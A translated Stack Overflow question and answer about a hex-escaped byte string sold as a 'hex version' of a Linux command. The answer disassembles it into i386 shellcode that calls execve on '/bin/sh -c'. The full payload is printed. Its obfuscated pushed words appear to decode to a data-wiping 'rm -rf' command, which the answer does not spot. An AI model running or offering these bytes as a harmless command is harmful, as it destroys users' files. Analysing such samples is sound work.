linux - 什么是命令的十六进制版本,它在现实中意味着什么,这是如何完成的

标签 linux binary linux-kernel hex

我注意到一个十六进制字符形式的命令,它说这是命令的十六进制版本 (Linux),十六进制版本实际上意味着什么,我如何将其转换为人类可读的形式。 截至目前我知道:

  • \: 作为转义序列
  • x : 代表十六进制

命令如下...

"\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00"

但是我怎样才能将它转换成英文的原始命令,如“XXXXXXXX”。

最佳答案

我获取了那个二进制文件并通过 hexdump -vCobjdump 运行它:

$ objdump -b binary -m i386 -D output 

output:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   eb 3e                   jmp    0x40
   2:   5b                      pop    %ebx
   3:   31 c0                   xor    %eax,%eax
   5:   50                      push   %eax
   6:   54                      push   %esp
   7:   5a                      pop    %edx
   8:   83 ec 64                sub    $0x64,%esp
   b:   68 ff ff ff ff          push   $0xffffffff
  10:   68 df d0 df d9          push   $0xd9dfd0df
  15:   68 8d 99 df 81          push   $0x81df998d
  1a:   68 8d 92 df d2          push   $0xd2df928d
  1f:   54                      push   %esp
  20:   5e                      pop    %esi
  21:   f7 16                   notl   (%esi)
  23:   f7 56 04                notl   0x4(%esi)
  26:   f7 56 08                notl   0x8(%esi)
  29:   f7 56 0c                notl   0xc(%esi)
  2c:   83 c4 74                add    $0x74,%esp
  2f:   56                      push   %esi
  30:   8d 73 08                lea    0x8(%ebx),%esi
  33:   56                      push   %esi
  34:   53                      push   %ebx
  35:   54                      push   %esp
  36:   59                      pop    %ecx
  37:   b0 0b                   mov    $0xb,%al
  39:   cd 80                   int    $0x80
  3b:   31 c0                   xor    %eax,%eax
  3d:   40                      inc    %eax
  3e:   eb f9                   jmp    0x39
  40:   e8 bd ff ff ff          call   0x2
  45:   2f                      das    
  46:   62 69 6e                bound  %ebp,0x6e(%ecx)
  49:   2f                      das    
  4a:   73 68                   jae    0xb4
  4c:   00                      .byte 0x0
  4d:   2d                      .byte 0x2d
  4e:   63 00                   arpl   %ax,(%eax)
    ...
$ hexdump -vC output 
00000000  eb 3e 5b 31 c0 50 54 5a  83 ec 64 68 ff ff ff ff  |.>[1.PTZ..dh....|
00000010  68 df d0 df d9 68 8d 99  df 81 68 8d 92 df d2 54  |h....h....h....T|
00000020  5e f7 16 f7 56 04 f7 56  08 f7 56 0c 83 c4 74 56  |^...V..V..V...tV|
00000030  8d 73 08 56 53 54 59 b0  0b cd 80 31 c0 40 eb f9  |.s.VSTY....1.@..|
00000040  e8 bd ff ff ff 2f 62 69  6e 2f 73 68 00 2d 63 00  |...../bin/sh.-c.|
00000050  00                                                |.|
00000051

它看起来确实像某种程序。首先它跳转到偏移量 0x40 然后使用 call 0x2 设置堆栈;然后是一系列操作,包括系统调用。程序数据似乎从偏移量 0x45 开始并包含字符串 "/bin/sh -c"

有问题的系统调用是#11 (mov $0xb,%al),根据this tablesys_execve。我猜它正在尝试运行一个 shell。此代码是否旨在利用缓冲区溢出?

关于linux - 什么是命令的十六进制版本,它在现实中意味着什么,这是如何完成的,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18409478/

相关文章:

c - mmap/munmap 问题 - 在第 783 次迭代后出现总线错误?

python - 在 Python 中将 0 和 1 的字符串转换为字节

Linux文件系统架构

linux - write() 到文件什么时候返回 EWOULDBLOCK?

c++ - 基于带有英特尔 Vtune 放大器的挂钟时间的 C++ 程序简介

c - 删除已在 ncurses 终端中打印的字符

c - 文本到二进制数据库

CSS 变量意外导致 0

linux-kernel - 内核中的浮点运算

linux - ARM 如何在 IRQ 处理程序中切换到 svc 模式?